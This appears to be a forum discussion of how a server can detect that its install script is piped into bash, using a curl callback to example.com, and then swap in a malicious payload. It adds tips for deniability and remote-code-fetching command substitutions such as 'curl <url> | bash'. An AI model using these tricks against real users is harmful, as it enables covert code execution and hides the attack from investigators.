1. Send your response as transfer-encoding: chunked and tcp_nodelay
2. Send the first command as
curl www.example.com/$unique_id
Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.
bash -c "`echo echo hi`"
note that `echo echo hi` is fully read, and then (and only then) passed to bash.ditto for
echo -c "`curl <your url>`"
The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.